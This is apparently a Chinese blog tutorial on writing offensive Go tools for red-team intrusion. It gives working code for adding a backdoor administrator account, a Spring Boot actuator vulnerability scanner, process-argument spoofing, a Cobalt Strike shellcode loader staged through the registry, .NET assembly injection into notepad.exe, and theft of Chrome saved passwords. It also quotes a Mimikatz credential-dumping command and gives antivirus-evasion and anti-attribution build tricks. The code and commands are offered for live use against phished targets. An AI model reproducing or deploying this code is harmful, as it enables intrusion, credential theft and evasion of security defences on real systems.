go语言开发3
简介
windows api 使用
首先我们介绍用Go语言去添加用户.
这里可以给大家介绍一个小技巧,因为Go和C的语法是比较相似的,所以可以去对比C的写法来写Go的.
要注意的是C语言在底层这里很多都定义好了,但Go并没有定义好,所以我们要重写
USER_INFO_1 ui;
//这个因为已经在C中定义好了
//我们可以Ctrl+单击进入看看这一个结构体
为了让Go减少体积,这里便不去调用第三方库了,下面对一些结构体和类型进行相对应的重写
type (
DWORD uint32
LPWSTR uintptr
)
type USER_INFO_1 struct {
usri1_name LPWSTR
usri_password LPWSTR
usri1_password_age DWORD
usri1_priv DWORD
usri1_home_dir LPWSTR
usri1_comment LPWSTR
usri1_flags DWORD
usri1_script_path LPWSTR
}
因为添加管理员用户涉及了Golang api的字符串形式,这里我们可利用syscall.UTF16PtrFromString进行转换。
user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
当然我们也可以看到C语言版中有USER_PRIV_USER字样,点进去看是被定义为1的
然后我们就可以模仿写出
const (
USER_PRIV_USER = 1
UF_SCRIPT = 0x0001
NERR_Success = 0
)
当我们这些结构体和变量都处理好的时候,我们便可以调用DLL里面的API进入操作了
最终可以不受环境影响32位Go程序是600kb左右
这个功能目前也集中在免杀平台里面.
//author:YanMu
package main
import (
"syscall"
"unsafe"
)
type (
DWORD uint32
LPWSTR uintptr
)
const (
USER_PRIV_USER = 1
UF_SCRIPT = 0x0001
NERR_Success = 0
)
type USER_INFO_1 struct {
usri1_name LPWSTR
usri_password LPWSTR
usri1_password_age DWORD
usri1_priv DWORD
usri1_home_dir LPWSTR
usri1_comment LPWSTR
usri1_flags DWORD
usri1_script_path LPWSTR
}
type _LOCALGROUP_USERS_INFO_0 struct {
lgrui0_name LPWSTR
}
var (
Netapi32, _ = syscall.LoadLibrary("Netapi32.dll")
NetUserAdd, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetUserAdd")
NetLocalGroupAddMembers, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetLocalGroupAddMembers")
dwError DWORD = 0
user USER_INFO_1 = USER_INFO_1{}
account _LOCALGROUP_USERS_INFO_0 = _LOCALGROUP_USERS_INFO_0{}
)
func add_user_To_the_admin_group() {
user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
user.usri1_priv = USER_PRIV_USER
user.usri1_flags = UF_SCRIPT
if a, _, _ := syscall.Syscall6(NetUserAdd, 4, 0, 1, uintptr(unsafe.Pointer(&user)), uintptr(dwError), 0, 0); a == 0 {
println("添加用户成功!")
} else {
println("添加用户失败")
}
account.lgrui0_name = user.usri1_name
var admin_group LPWSTR
admin_group = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("Administrators")))
if d, _, _ := syscall.Syscall6(NetLocalGroupAddMembers, 5, 0, uintptr(admin_group), 3, uintptr(unsafe.Pointer(&account)), 1, 0); d == NERR_Success {
println("添加用户到管理员组成功!")
} else {
println("添加用户到管理员组失败")
}
defer func() {
syscall.FreeLibrary(Netapi32)
}()
}
func main() {
add_user_To_the_admin_group()
}
当然可能这种调用这种API,没有威胁性,我测试的是windows def和卡巴斯基都可以添加上,也包括360,但看到Tools上说到C的不免杀了
[]最新版360已经拦截netapi加用户了。 - T00ls.Net,
就写出了Go版本的,毕竟如果杀软拦截CS特征,但还能登上3389还挺香的.
Spring渗透线程小工具
在实际操作的时候,我们都会根据需求来写一些满足自己的小工具
这里以比较火的Spring boot为例
//author:YanMu
package main
/*
LQ
*/
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
)
var (
numberTasks []string
the_returned_result_is_200 []string
list_of_errors []string
t = &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
opt = option()
)
type FLAG_TO_CHOOSE struct {
src_file string
des_file string
routineCountTotal int
urls string
}
func option() *FLAG_TO_CHOOSE {
src_file := flag.String("s", "spring.txt", "字典文件")
urls := flag.String("u", "", "目标url")
des_file := flag.String("d", "result.txt", "结果文件")
routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
flag.Parse()
return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
}
func title() {
fmt.Println(`
▄████ ▒█████
██▒ ▀█▒▒██▒ ██▒
▒██░▄▄▄░▒██░ ██▒
░▓█ ██▓▒██ ██░
░▒▓███▀▒░ ████▓▒░
░▒ ▒ ░ ▒░▒░▒░
░ ░ ░ ▒ ▒░
░ ░ ░ ░ ░ ░ ▒
░ ░ ░
`)
}
func main() {
title()
file, err := os.Open(opt.src_file)
if err != nil {
fmt.Println("打开文件时候出错")
}
defer func() {
file.Close()
}()
n := bufio.NewScanner(file)
for n.Scan() {
data := n.Text()
numberTasks = append(numberTasks, data)
}
client = &http.Client{
Transport: t,
Timeout: 20 * time.Second,
}
beg := time.Now()
wg := &sync.WaitGroup{}
tasks := make(chan string)
results := make(chan string)
go func() {
for result := range results {
if result == "" {
close(results)
} else if strings.Contains(result, "200") || strings.Contains(result, "端点") {
fmt.Println(result)
the_returned_result_is_200 = append(the_returned_result_is_200, result)
} else if strings.Contains(result, "500") {
if strings.Contains(result, "article") {
fmt.Println(result)
the_returned_result_is_200 = append(the_returned_result_is_200, result)
}
} else {
list_of_errors = append(list_of_errors, result)
}
}
}()
for i := 0; i < opt.routineCountTotal; i++ {
wg.Add(1)
go worker(wg, tasks, results)
}
for _, task := range numberTasks {
tasks <- task
}
tasks <- ""
wg.Wait()
results <- ""
fmt.Println("\033[33m+++++++++++++++++++请求成功的++++++++++++++++++++++")
file_1, err := os.OpenFile(opt.des_file, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file_1.Close()
write_1 := bufio.NewWriter(file_1)
for _, v := range the_returned_result_is_200 {
fmt.Println(v)
write_1.WriteString(v + "\n")
}
write_1.Flush()
fmt.Println("发生了", len(list_of_errors), "个失败")
fmt.Printf("time consumed: %fs\n", time.Now().Sub(beg).Seconds())
fmt.Println("具体接口用法请参考:https://github.com/LandGrey/SpringBootVulExploit")
fmt.Println("小提醒:ctrl+单击会打开链接\033[0m")
}
func worker(group *sync.WaitGroup, tasks chan string, result chan string) {
for task := range tasks {
if task == "" {
close(tasks)
} else {
respBody, err := NumberQueryRequest(task)
if err != nil {
fmt.Printf("error occurred in NumberQueryRequest: %s\n", task)
result <- err.Error()
} else {
result <- respBody
}
}
}
group.Done()
}
var client *http.Client
func NumberQueryRequest(keyword string) (body string, err error) {
opt.urls = strings.TrimRight(opt.urls, "/")
url := fmt.Sprintf("%s%s", opt.urls, keyword)
fmt.Println(url)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return "构造请求出错", err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
resp, err := client.Get(url)
if err != nil {
return "发送请求出错", err
}
return_value := resp.StatusCode
if resp != nil && resp.Body != nil {
defer resp.Body.Close()
}
if strings.Contains(keyword, "/env") {
body22, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body22), "spring.cloud.bootstrap.location") {
body = "url: " + url + " || " + "目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试"
return body, nil
} else if strings.Contains(string(body22), "eureka.client.serviceUrl.defaultZone") {
body = "url: " + url + " || " + "目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试"
return body, nil
}
} else if strings.Contains(keyword, "/jolokia/list") {
body33, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body33), "reloadByURL") {
body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试"
return body, nil
} else if strings.Contains(string(body33), "createJNDIRealm") {
body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试"
return body, nil
}
}
body = "url:" + url + " || " + "返回值:" + strconv.Itoa(return_value)
return body, nil
}
当然要给师傅们写上Spring boot的字典
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/jolokia/list
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/env
/actuator/env
/refresh
/actuator/refresh
/restart
/actuator/restart
/jolokia
/actuator/jolokia
/trace
/actuator/httptrace
/article?id=${7*7}
/article?id=66
/h2-console
小工具用了多线程,所以速度上会有一点舒适度的.主要介绍一下编写的注意事项.
因为我们渗透测试的的工具一般就是发包功能,不联网咋黑[doge],所以我们会学习"net/http"包的使用.
对于我来说,可以理解以下三步骤.
//构造客户端
var client *http.Client
//构成请求包
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return "构造请求出错", err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
//客户端发送请求
resp, err := client.Get(url)
if err != nil {
return "发送请求出错", err
}
通过设置TLSClientConfig,取消对HTTPS的证书验证,因为我们在平时,还是很多网站会遇到这个证书问题的
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}
"flag"包一般就是帮我们去完成一些交互式命令的
type FLAG_TO_CHOOSE struct {
src_file string
des_file string
routineCountTotal int
urls string
}
func option() *FLAG_TO_CHOOSE {
src_file := flag.String("s", "spring.txt", "字典文件")
urls := flag.String("u", "", "目标url")
des_file := flag.String("d", "result.txt", "结果文件")
routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
flag.Parse()
return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
}
然后就是多线程去分配任务,routineCountTotal是我们的线程数
go func() {
for result := range results{
if result == ""{
close(results)
}else{
fmt.Println("result:", result)
}
}
}()
//接受响应并处理的匿名函数
for _, task := range numberTasks{
tasks <- task
}
//分发我们的字典任务
当然这个工具还有很多要改善的地方,最明显的一点,比较Low.🤔
logo的话,就可以用一些字符画生成网站来解决这个问题
字符画生成
https://github.com/YanMu2020/SpringScan,这是编译好的工具
小总结:多线程是Go的核心,还是需要多加学习.
ScareCrow数字签名
这个工具比较火,最近作者也是作为一次议题带到了国外的安全大会上,虽然现在查杀比较严重,因为免杀是一个见光死的技术,
但不妨碍我们学习源码去二开或者带到自己的程序当中.
平时我们常用的工具为sigthief来进行证书伪造,从而得到免杀效果.但ScareCrow也算是有自己一套
在ScareCrow中,自签名的功能位于limelighter/limelighter.go中
签名功能主函数是Signer,调用了自写的VarNumberLength,GenerateCert,GeneratePFK,SignExecutable函数
其参数是需要提供的交互式参数,所以这个功能我们可以直接分离作为一个程序,作为exe免杀辅助工具,或者自己写的框架的功能
这个文件主要是程序添加证书和程序信息的.
可以看到ScareCrow是调用osslsigncode来达到签名效果,不过提供osslsigncode需要的pkcs12file达到一步化.
Go版本的地狱门
当我们遇到高版本windows2016服务器的时候,会自带windows defender,一般我们可以通过调用地狱门(windows原生调用syscall)的方法来绕过.
C版本:https://github.com/am0nsec/HellsGate/
Go版本:https://github.com/C-Sto/BananaPhone
Go版本缺陷是作者仅研究了asm_x64.s ,所以编译为32位会报错,不过一般高版本服务器以64位为主.低版本可以尝试调用API来绕过.
Go版本的地狱门,作者写出了第三方包的形式,这也为我们扩展打下基础.
argue欺骗
在CS3.13中,引入了argue参数,这是一种进程参数欺骗的技术,在进程启动的时候,使用一些干扰参数,使其记录的参数和实际运行的参数不同
创建了一个挂起的终端进程,通过NtQueryInformationProcess API获取进程块的peb的地址,利用readProcessMemory API来获取进程块的内存副本,然后读取修改RTL_USER_PROCESS_PARAMETERS结构体中commandline的字段,替换为正常的命令行参数
其实很多时候,用Go写一些API不能太深入,还是那句话因为很多底层东西C定好了,Go没有定义好,所以需要重写.最简单不重写那些底层的方法,是直接套用C代码就可.
这时候可以用到CGO了,CGO可以让Go去更好的调用C函数
//author:YanMu
package main
/*
#include <stdio.h>
int fyu() {
return 0;
}
*/
import "C"
func main() {
var a C.int
a = C.fyu()
println(a)
}
package main
/*
#include <stddef.h>
#include <stdbool.h>
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS(*NtQueryInformationProcess2)(IN HANDLE, IN PROCESSINFOCLASS,
OUT PVOID, IN ULONG, OUT PULONG);
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data,
DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int wmain() {
int argc =3;
char *argv[3];
argv[1] = "powershell";
argv[2] = "################################################";
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS* parameters;
char* aaa = (char*)"cmd";
char* bbb = (char*)"cmd.exe";
int padding_size = 0;
int memsize = 0;
for (int i = 1; i < argc; i++) {
padding_size += strlen(argv[i]);
}
memsize = (padding_size + 5) + (strlen(argv[1]) + 1) + 1;
char* addr = (char*)malloc(memsize);
addr[memsize - 1] = 0;
memset(addr, 'x', memsize - 1);
if (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0)
{
strcpy(addr, argv[1]);
}
else {
strcpy(addr, argv[1]);
}
memset(addr + strlen(argv[1]), ' ', 1);
int command_size = 4;
for (int i = 1; i < argc; i++) {
command_size += strlen(argv[i]) + 1;
}
char* command = (char*)malloc(command_size);
memset(command, 0, command_size);
char* next_addr = command;
if (strcmp(argv[2], "/c") != 0 && (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0))
{
strcpy(command, argv[1]);
strcpy(command + strlen(argv[1]), " /c ");
next_addr += strlen(argv[1]) + 4;
}
else {
strcpy(command, argv[1]);
next_addr += strlen(argv[1]);
memset(next_addr, ' ', 1);
next_addr += 1;
}
for (int i = 2; i < argc; i++) {
strcpy(next_addr, argv[i]);
next_addr += strlen(argv[i]);
memset(next_addr, ' ', 1);
next_addr += 1;
}
memset(next_addr - 1, 0, 1);
printf("padding: %s\ncommand: %s\n", addr, command);
char* str = command;
char* test = addr;
int size = mbstowcs(0, str, 0) + 1;
wchar_t* wstr = (wchar_t*)malloc(size * sizeof(wchar_t));
mbstowcs(wstr, str, size);
CreateProcessA(NULL,
(LPSTR)test,
NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
"C:\\Windows\\System32\\", &si, &pi);
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(
LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB),
&bytesRead);
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess, pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300);
writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer,
(void*)wstr, size * sizeof(wchar_t));
DWORD newUnicodeLen = 28;
writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters +
offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen, 4);
ResumeThread(pi.hThread);
}
*/
import "C"
func main() {
C.wmain()
}
这个方法主要可以用到,你在写Go的C2,或者一些C工具的免杀,体积的话也会很小.可以理解为变相的混洗加壳.当然argue的C版本是免杀的
注意在import "C"的时候前面的注释,就是你的C代码,而且这个特殊的注释不能和import "C"有空格
使用C包的时候,还要安装GCC编译器.并且Go支持内嵌纯C代码,如果你直接内嵌了CPP的代码可能会报错.因为C至今为止还没有一个二进制接口规范(ABI),但有时候我们可以增加一组C语言函数接口作为C类和CGO之间的桥梁.
cobalt strike免杀加载器
大家一直在说Go木马有点大,但Go木马确实可以到达600kb到700kb,适合钓鱼.
目前加载器对于我而言,加解密是次要的,更应该是寻找新的Windows API找到新的套路上线.
简单聊聊火绒和360,360在实战中比较多,所以HW实际一点,能过360上线就差不多,火绒的查杀能力,我测试中,多以特征码为主,比如你的shellcode就是一个,可以自己xor一下,如果是ps1这些脚本的话,可能某个语句就是特征码,删除了弄个别名,IEX混洗执行,360规则在我眼中是比较迷的,处于一种你可能过了,但一会就给干掉那种.而且实战中360会敏感.
比如mimikatz换字符换图标,测试是1分钟给你干掉,而且实战中,在webshell上,一句话读取密码是实用的,但是如果你裸着一句话读取出来
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
是直接给你拦截的,特征很明显privilege::debug,sekurlsa::logonPasswords
当你测试cmd下免杀语句,也会出现拦着拦着给你不拦截了
还有一点,360火绒会拦截webshell起powershell进程,所以有时候免杀的powershell语句能在cmd上线,但在webshell不能上线
在这里其实可以考虑用到Csharp的using System.Management.Automation
再加上实战环境限制不一样,可能会处于你可能是过了,但实战中用不了的花瓶模式.只能看看在本地上线.
最后还要注意Go版本问题,因为在实战中2008很多,如果你使用Go编译高版本是不支持这些版本运行的,最后一个支持windows低版本运行syscall这些的编译器是Go 1.10.8.
Go高版本编译器编译的Frp是可以在2008运行的.
自制的免杀平台也是这个版本的编译器,经过测试windows高版本和低版本都可以上线了.
写到这里的时候,小刚师傅又在公众号发表新的API用法.
这里免杀加载器我用CGO去实现.
//author:YanMu
package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
/*
#include "windows.h"
void wsmain(){
LPBYTE ptr;
DWORD data_len;
ptr=VirtualAlloc(0,800,0x3000,PAGE_EXECUTE_READWRITE);
RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,0,&data_len);
RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,ptr,&data_len);
RegDeleteValueA(HKEY_CURRENT_USER,"t");
EnumUILanguages((UILANGUAGE_ENUMPROC)ptr,0,0);
return;
}
*/
import "C"
var (
Advapi32, _ = syscall.LoadLibrary("Advapi32.dll")
RegSetValueExA, _ = syscall.GetProcAddress(Advapi32, "RegSetValueExA")
)
func regdit() {
defer syscall.FreeLibrary(Advapi32)
shellcode, _ := hex.DecodeString("fc4883e4f0e8.............your shellcode...........")
println(shellcode)
tests := unsafe.Pointer(syscall.StringToUTF16Ptr("t"))
output, _, _ := syscall.Syscall6(RegSetValueExA, 6, 0x80000001, uintptr(tests), 0, 3, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
println(output)
C.wsmain()
}
func main() {
regdit()
}
Go通过RegSetValueExA在注册表写入shellcode
简要介绍这几个API用法
RegSetValueExA:
向HKEY_CURRENT_USER(对应0x80000001)新建一个类型为REG_BINARY(对应为3)名字为t,内容是shellcode,长度是shellcode的长度
C的任务就是
VirtualAlloc分配一个(LPBYTE)内存,接受RegQueryValueExA读取的内容,然后EnumUILanguages回调函数执行.
不过这个加载器还有问题会导致它被查杀,因为shellcode就是最明显的特征码,所以加密了一下
这里因为调用了第三库,所以体积有1.2M,就当加了一个小壳.
当然Go调用API我一直喜欢用PEB隐藏
的方式加载这些.不经可以隐藏一些API加载,也可以减少体积
最终效果.
细心老哥可以发现我没有加-H windowsgui,因为这个参数也是一个查杀点,不过依然可以绕过.
当然免杀加载器也可以纯Go实现.但是感觉CGO可能自带一点点A.B.U特性.
再比如当时利用UUID的API:UuidToStringA
,与之相似的有MAC的APIRtlEthernetStringToAddressA
老一套创建线程执行,也是一个查杀点,绕过举个例子,当时Python反序列化免杀,是顺带自动执行的.
而且一开始其实分配的内存不一定要是可读可写可执行(RWX),这个点也是比较明显的.
其实这种API加载很多,比如分配RW区域的AllocADsMem
,然后写入shellcode以后再改成可读可执行
由于免杀算是一个见光死的技术,所以只能讲一些注意事项
.NET assembly 内存加载
CS3.11后也加入了这个功能(Execute-Assembly),可以让我们恶意.NET程序不落地在内存中执行,集成在C2框架中这个功能还是很香的.
通过将CLR加载到进程中,加载.NET程序集并调用静态方法,最后清理CLR——[公共语言运行时,是一套完整的、高级的虚拟机]
这里我们直接调用b4rtik师傅的dll程序,在notepad.exe中启动我们的 .NET CLR,加载这个dl就很容易实现了
func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
AssemblySizeArr := convertIntToByteArr(len(assembly))
ParamsSizeArr := convertIntToByteArr(len(params)+1)
cmd := exec.Command("notepad.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
}
var stdoutBuf, stderrBuf bytes.Buffer
cmd.Stdout = &stdoutBuf
cmd.Stderr = &stderrBuf
cmd.Start()
pid := cmd.Process.Pid
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
if err != nil {
return err
}
hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
if err != nil {
return err
}
_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
if err != nil {
return err
}
log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)
assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
if err != nil {
return err
}
payload := append(AssemblySizeArr, ParamsSizeArr...)
if amsi {
payload = append(payload, byte(1))
} else {
payload = append(payload, byte(0))
}
payload = append(payload, []byte(params)...)
payload = append(payload, '\x00')
payload = append(payload, assembly...)
_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
if err != nil {
return err
}
log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
attr := new(syscall.SecurityAttributes)
functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)
threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr + uintptr(functionOffset)), uintptr(assemblyAddr), 0)
if err != nil {
return err
}
log.Println("Got thread handle:", threadHandle)
for {
code, err := getExitCodeThread(threadHandle)
if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
log.Fatalln(err.Error())
}
if code == STILL_RUNNING {
time.Sleep(1000 * time.Millisecond)
} else {
break
}
}
cmd.Process.Kill()
outStr, errStr := stdoutBuf.String(), stderrBuf.String()
fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
return nil
}
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
//获取notepad进程句柄
hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
//分配内存,写入dll反射加载器
/*
剩下就是给加载文件分配内存,找到文件的偏移量,创建一个在notepad进程地址空间中运行的线程
*/
CS也是加载了InvokeAssembly.dll,会将 InvokeAssembly.dll和Dotnet Assembly以及参数放在一起,一次性发送到Client端,但是三者大小之和不能超过1MB,所以我们要执行Charp的体积不能超过1M
dll帮我们做了很多事情,但我感觉Nim里面的更简单[doge],byt3bl33d3r师傅牛
CS中还有一个类似的功能是4.1后引进的BOF:inline-execute,这个功能还能加载指定的C文件
浏览器解密
当我们钓鱼成功的时候,我们一般都解密目标机器上保存在浏览器的密码,这也是一个优秀的C2功能.
由于Csharp
特性,这一方面,还是CS assembly 加载Csharp的exe比较香.
微软提供了两个数据保护API用来加密和解密,CryptProtectMemory
和CryptUnprotectMemory
chrome的密码经过加密后存储位置
\AppData\Local\Google\Chrome\User Data\Default\Login Data
80版本后,存放密钥local state(JSON格式的文件)的位置
\AppData\Local\Google\Chrome\User Data\Local State
chrome密码存放其实是一个sqlite数据库文件.在Go中编写需要第三方库支持
github.com/mattn/go-sqlite3 //需要你安装GCC
这样我们可以先把这些需要的API和存放位置定义为一个全局变量
var (
crypt32, _ = syscall.LoadLibrary("Crypt32.dll")
kernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData, _ = syscall.GetProcAddress(crypt32, "CryptUnprotectData")
procLocalFree = kernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
masterKey []byte
)
可以看到80.x后加密后前缀为v10,这里可以帮我们起到判断使用哪种版本的解密方法
if strings.HasPrefix(PASSWORD, "v10") {
PASSWORD = strings.Trim(PASSWORD, "v10")
如果加密的值未以 v10作为前缀,则使用Windows DPAPI接口对原始值进行加解密
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0)
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
如果不是就要用新的解密办法,先从local state中提取密钥,然后base64,Trim掉密钥的前缀DPAPI
,然后再使用Windows DPAPI对其进行解密得到最终的密钥
它采用的是os_crypt_win.cc下的DecryptString方法.
func getMasterKey() ([]byte, error) {
var masterKey []byte
jsonFile, err := os.Open(localStatePath)
if err != nil {
return masterKey, err
}
defer jsonFile.Close()
byteValue, err := ioutil.ReadAll(jsonFile)
if err != nil {
return masterKey, err
}
var result map[string]interface{}
json.Unmarshal([]byte(byteValue), &result)
roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
//密钥存放在os_crypt.encrypted_key中
decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
stringKey := string(decodedKey)
stringKey = strings.Trim(stringKey, "DPAPI")
masterKey, err = Decrypt([]byte(stringKey))
if err != nil {
return masterKey, err
}
return masterKey, nil
}
整个加密过程使用了AES-GCM模式加密,在os_crypt_win.cc文件中可以看到相应的nonce和密钥取值
最后解密,体积也不算很大3.6M.
Go编译技巧
我们一般的编程环境是六十四位的
编译32位的指令是
set GOARCH=386
仅限于当前的shell窗口
当我们直接go build的exe,里面含有我们本地大量的信息,一不小心就可以被溯源到
防止被溯源的指令
go build -trimpath -ldflags "-w -s" main.go
当然 -w -s 后
go编译后从hex上看会有很多特征
- s:忽略符号表和调试信息。
- -w:忽略DWARFv3调试信息,使用该选项后将无法使用gdb进行调试。
缺点也比较明显,有时候你程序即使编译成功不运行也会报错,如果去掉这些调试信息的话,运行以后就什么都没有了
比如go build ID:这类,很不幸,在Windows defender 它也是特征之一.
tools上文章中写到-race,数据竞争也可以免杀,经过测试,的确有效果,但体积会更大,而且只适合x64.可以看场景进行使用
-race
enable data race detection.
Supported only on linux/amd64, freebsd/amd64, darwin/amd64, windows/amd64,
linux/ppc64le and linux/arm64 (only for 48-bit VMA).
其实还有一些师傅编译的时候会遇到第三方包下载不了,这是因为Go官方被屏蔽了
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct
改了代理以后,就会像pip install 一样丝滑.
总结
Go的语句简单易学,没有很多的语法糖,如果你会C的话,基本可以很容易掌握Go,但是如果只是写POC建议还是Python,因为在项目中验证和利用漏洞,py就够了,因为目标一个的话,多线程可以忽略,但Windows没有默认集成py环境,以及py被GIL限制的原因,你可以学习一门编译型语言来辅助你,C/C++,Cshap,Go,Nim这些.
如果写的不好,请大师傅们海涵.
- 点赞
- 收藏
- 关注作者
评论(0)